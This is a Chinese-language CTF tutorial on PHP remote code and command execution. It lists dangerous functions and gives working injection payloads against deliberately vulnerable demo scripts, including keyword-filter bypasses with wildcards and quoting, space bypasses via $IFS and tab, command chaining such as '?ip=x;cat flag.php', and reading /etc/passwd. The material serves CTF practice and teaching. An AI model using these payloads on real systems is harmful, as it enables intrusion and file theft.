CTF中的RCE详解
每月更新 1/1 嘻嘻
前置知识
代码执行(Remote Code Excution)
应用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行。
命令执行(Remote Commond Excution)
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。
相关函数
代码执行函数
eval()
assert()
create_function()
命令执行函数
system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()
常见绕过
绕过禁止的flag
fl\ag
a=fl;b=ag;cat $a$b
cat `ls`
cat $(ls)
cat f""lag
cat f*
cat f???
cat ????.???
实战演示-flag被过滤的绕过
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=system("cat f*");
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=passthru ("cat f*");
查看文件命令
cat: 由第一行开始显示文件内容
tac: 从最后一行开始显示,可以看出tac是cat的倒写形式
nl: 显示的时候顺便显示行号
more: 一页一页地显示文件内容
less: 与more类似,但是比more更好的是,可以往前翻页
tail: 只看结尾几行
od: 以二进制的方式读取文件内容
/bin/c?t /etc/passwd
绕过空格
<
<>
%20(space)
%09(tab)
$IFS$9
${IFS}
实战演示-空格绕过、cat绕过
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=passthru("tac%09f*");
单行多命令执行
; 执行完前面的语句再执行后面的语句
& 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&& 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真
| 显示后面语句的执行结果
|| 当前面的语句执行出错时,执行后面的语句
$(touch TGUCTF) 被$包裹的优先级较高
`touch TGUCTF` 在``内的会被当做命令执行
实战演示-单行多命令执行
<?php
if(isset($_GET['ip'])){
$ip=$_GET['ip'];
$a=shell_exec("ping -c 4 ".$ip);
print_r($a);
}
else{
highlight_file(__FILE__);
}
?ip=x;cat flag.php
实战演示-截断绕过
<?php
if (isset($_GET['c'])) {
$c = $_GET['c'];
system($c . " >/dev/null 2>&1");
} else {
highlight_file(__FILE__);
}
?>
?c=cat f*%0a